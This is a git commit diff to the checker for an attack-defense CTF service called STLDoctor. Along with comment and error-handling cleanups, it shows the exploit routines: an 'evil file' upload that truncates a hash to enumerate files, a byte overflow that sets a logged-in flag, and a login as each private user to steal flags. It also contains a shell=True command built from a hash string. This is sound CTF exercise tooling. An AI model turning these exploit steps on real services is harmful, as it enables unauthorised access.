commit acd91305638fc2de783b22ed23b67141538e5328
parent 8f20deab0f233973199be29eae5518c4c73509c2
Author: Louis Burda <quent.burda@gmail.com>
Date: Tue, 8 Jun 2021 23:26:57 +0200
improved comments in checker code, fixed possible INTERNAL_ERROR when parsing returned file id
Diffstat:
1 file changed, 46 insertions(+), 36 deletions(-)
diff --git a/checker/src/checker.py b/checker/src/checker.py
@@ -94,6 +94,23 @@ class STLDoctorChecker(BaseChecker):
resp = conn.recvuntil(self.prompt)
assert_in(modelid, resp, f"Uploaded model is missing from list command")
+ def querydb(self, *args):
+ self.debug("Querying db contents");
+ vals = []
+ for arg in args:
+ try:
+ val: str = self.chain_db[arg]
+ except KeyError as ex:
+ raise BrokenServiceException("Invalid db contents")
+ vals.append(val)
+ return vals
+
+ def postdb(self, **kwdict):
+ self.chain_db = kwdict
+
+ def reverse_hash(self, hashstr):
+ return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1]
+
def genfile_ascii(self, solidname):
solidname = ensure_bytes(solidname)
@@ -169,11 +186,14 @@ class STLDoctorChecker(BaseChecker):
self.debug(conn.recvline())
line = conn.recvline()
self.debug(line)
- modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
- if modelid == "":
- raise BrokenServiceException("Unable to upload file!")
+ try:
+ modelid = line.rsplit(b"!", 1)[0].split(b"with ID ", 1)[1]
+ if modelid == b"": raise Exception
+ except:
+ raise BrokenServiceException("Invalid data returned on file upload")
self.debug(f"Uploaded file with name {modelid}")
+ # Consume rest of data in this call
conn.recvuntil(self.prompt)
return stlfile, modelid
@@ -181,13 +201,17 @@ class STLDoctorChecker(BaseChecker):
def getfile(self, conn, modelname=None, download=True):
modelname = ensure_bytes(modelname)
+ # Initiate download
self.debug(f"Sending command to retrieve file with name {modelname}")
conn.write("search\n")
conn.write(modelname + b"\n")
conn.write("0\n") # first result
conn.write("y\n" if download else "\n")
+ # Wait for end of info box
resp = conn.recvuntil("==================")
+
+ # Ask for download if desired
if download:
resp += conn.recvuntil(b"Here you go.. (")
try:
@@ -211,30 +235,13 @@ class STLDoctorChecker(BaseChecker):
assert_in(ensure_bytes(solidname), resp, f"Solid name {solidname} not returned / correctly parsed")
assert_in(ensure_bytes(contents), resp, f"STL File contents not returned / correctly parsed")
- def querydb(self, *args):
- self.debug("Querying db contents");
- vals = []
- for arg in args:
- try:
- val: str = self.chain_db[arg]
- except KeyError as ex:
- raise BrokenServiceException("Invalid db contents")
- vals.append(val)
- return vals
-
- def postdb(self, **kwdict):
- self.chain_db = kwdict
-
- def reverse_hash(self, hashstr):
- return subprocess.check_output(os.getenv("REVHASH_PATH") + f" \"{hashstr}\"", shell=True)[:-1]
-
def havoc_upload(self, filetype, register):
- # cant be havocid with ascii since might mess with stl parsing
+ # Cant be havocid with ascii since might mess with stl parsing
solidname = self.fakeid() if filetype == 'ascii' else self.havocid()
modelname = self.havocid()
authstr = self.havocid()
- # create new session and user and upload file
+ # Create new session and user and upload file
conn = self.openconn()
if register:
self.do_auth(conn, authstr)
@@ -244,7 +251,7 @@ class STLDoctorChecker(BaseChecker):
self.check_listed(conn, modelid)
self.closeconn(conn)
- # try getting file from a new session
+ # Try getting file from a new session
conn = self.openconn()
if register:
self.do_auth(conn, authstr)
@@ -276,15 +283,14 @@ class STLDoctorChecker(BaseChecker):
modelid, modelname = self.querydb("modelid", "modelname")
conn = self.openconn()
resp = self.getfile(conn, modelname.encode())
- self.debug(resp)
- assert_in(self.flag.encode(), resp, "Resulting flag was found to be incorrect")
+ assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents")
self.closeconn(conn)
elif self.variant_id == 1:
modelid, modelname, authstr = self.querydb("modelid", "modelname", "auth")
conn = self.openconn()
self.do_auth(conn, authstr)
resp = self.getfile(conn, modelname.encode())
- assert_in(self.flag.encode(), resp, "Resulting flag was found to be incorrect")
+ assert_in(self.flag.encode(), resp, "Flag not found in file info nor contents")
self.closeconn(conn)
else:
raise EnoException("Invalid variant_id provided")
@@ -296,8 +302,7 @@ class STLDoctorChecker(BaseChecker):
solidname = self.fakeid()
contents, modelid = self.putfile(conn, modelname, solidname, "bin")
self.closeconn(conn)
- self.postdb(modelid=modelid, modelname=modelname, solidname=solidname,
- contents=contents)
+ self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents)
elif self.variant_id == 1:
conn = self.openconn()
authstr = self.fakeid()
@@ -306,8 +311,7 @@ class STLDoctorChecker(BaseChecker):
self.do_auth(conn, authstr)
contents, modelid = self.putfile(conn, modelname, solidname, "ascii")
self.closeconn(conn)
- self.postdb(modelid=modelid, modelname=modelname, solidname=solidname,
- contents=contents, auth=authstr)
+ self.postdb(modelid=modelid, modelname=modelname, solidname=solidname, contents=contents, auth=authstr)
else:
raise EnoException("Invalid variant_id provided")
@@ -342,17 +346,21 @@ class STLDoctorChecker(BaseChecker):
if self.variant_id == 0:
name = self.fakeid()
+ # Upload evil file for hash truncation
conn = self.openconn()
resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
- self.debug(f"Evil file: {mid}")
+ self.debug(f"Uploaded evil file with id {mid}")
self.closeconn(conn)
+ # Parse evil file
conn = self.openconn()
resp = self.getfile(conn, name, download=False)
- self.debug(str(resp))
conn.write("search last\n")
filelist = [l.strip().split(b" : ") for l in conn.recvuntil("?").split(b"\n") if b" : " in l]
+ if len(filelist) == 0:
+ raise BrokenServiceException("Failed to list files through search")
+ # Use it to enumerate other files and grab contents
found = None
for i in range(len(filelist)):
self.debug(b"Retrieving file " + filelist[i][0] + b": " + filelist[i][1])
@@ -371,17 +379,21 @@ class STLDoctorChecker(BaseChecker):
raise BrokenServiceException("Exploit for flagstore 1 failed")
return found
elif self.variant_id == 1:
+ # Overflow loggedin variable
conn = self.openconn()
conn.write(b"search \xff\xff\xff\xff\xff0000000000000000\n")
conn.recvuntil(self.prompt)
conn.write("auth\n")
- assert_in(b"Already logged in!", conn.recvuntil(self.prompt), "Exploit did not set 'loggedin' variable via overflow")
+ assert_in(b"Already logged in!", conn.recvuntil(self.prompt),
+ "Exploit did not set 'loggedin' variable via overflow")
conn.write("list\n")
resp = conn.recvuntil(self.prompt)
- self.debug(resp)
users = [l.split(b" .")[1] for l in resp.split(b"\n") if b">> ." in l]
+ if len(users) == 0:
+ raise BrokenServiceException("Unable to list private user hashes")
self.closeconn(conn)
+ # Login as each private user
conn = self.openconn()
found = None
for u in users:
@@ -392,12 +404,10 @@ class STLDoctorChecker(BaseChecker):
self.debug(f"Hash preimage: {user}")
conn.write(b"auth " + user + b"\n")
resp = conn.recvuntil(self.prompt)
- self.debug(resp)
if b"Welcome back" not in resp:
raise BrokenServiceException("Revhash returned invalid preimage")
conn.write("list\n")
resp = conn.recvuntil(self.prompt)
- self.debug(resp)
names = b"\n".join([l.split(b": ", 1)[1] for l in resp.split(b"\n") if b"Solid Name: " in l])
found = self.search_flag_bytes(names)
if found is not None: